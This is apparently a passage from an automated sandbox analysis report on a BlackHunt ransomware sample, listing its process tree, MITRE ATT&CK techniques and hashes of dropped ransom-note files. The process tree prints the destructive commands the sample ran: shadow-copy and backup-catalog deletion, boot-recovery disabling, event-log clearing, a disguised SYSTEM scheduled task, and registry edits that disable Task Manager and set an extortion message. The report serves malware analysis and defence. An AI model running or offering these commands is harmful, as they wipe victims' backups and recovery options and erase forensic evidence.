  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3312
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:3200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1256
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:4680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3492
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:3316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4348
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:5312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:5244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4320
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3256
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3212
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:5852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe" /F
  2⤵
  PID:1488
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:5820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4948
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:5392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:936
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4672
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:5088
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4748
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2216
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4536
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2252
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2204
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1232
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:5972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:4336
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:4048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2652
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:5640
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:5276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:5864
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:5360
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:2316
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2812
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3324
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:728
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1564
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4996
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3628
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1260
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:5620
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:6036
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:5452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2500
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:5320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:5092
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:5448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:5844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:5468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:5260
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:216
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:5556
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:1156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  - Checks computer location settings
  - Modifies registry class
  PID:5336
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    PID:4700
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe"
  2⤵
  PID:2952
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3244

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of WriteProcessMemory
PID:5092

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5268

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5444

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4684

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
bf44ed54ef3990749d8c317c9213f430

SHA1
cdb1ea0ff1d14e611ca98e64b19aeb2b08ecafac

SHA256
2565d24959fd6e1a0cbf88d95fab7dbd53d4cef95fd7d64031546daafd2ed50c

SHA512
d03328b31a4de92e979464578e9d74488fd811073fc09f70f997d4e4e0f9d11c550e284127701a61b10adaf87e9ee17fd85d98cfc6b8b04da7086811e0035150

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
46dee8dc985820700fbaeef262bdd615

SHA1
035c0e3cf5ce0c9a05decc05bb87ec61ad82dff4

SHA256
48c62a569ff1fede3f4e5970f0566eb5df5888502fdaf6f9d08b566b9c318457

SHA512
fb5546ce8881ed5682a3aedf381efb6c389d0d5912d115020f7f7224f1cdbb5dd510c87327538df26b288c3872e19d1bdb9c750fa5995245756d60ef27241608

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
bd75a4c9822c85260d6d9ba2420c68b6

SHA1
fe3c389d20400e44ccb3940c15803c70328eb5a0

SHA256
102769e1b175e5f15e65c6ef7647388e12a3ade90d95e1134492da70e715b32e

SHA512
78ceb7b574b5f60a48fb4b9c5f2827e3dfe39e56fd6e7d768568f5a1eccb033f9fbbd71f7fce87dc65b079b5b83246ecfeb55c86f9ca07148a34fa157137a8d8

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads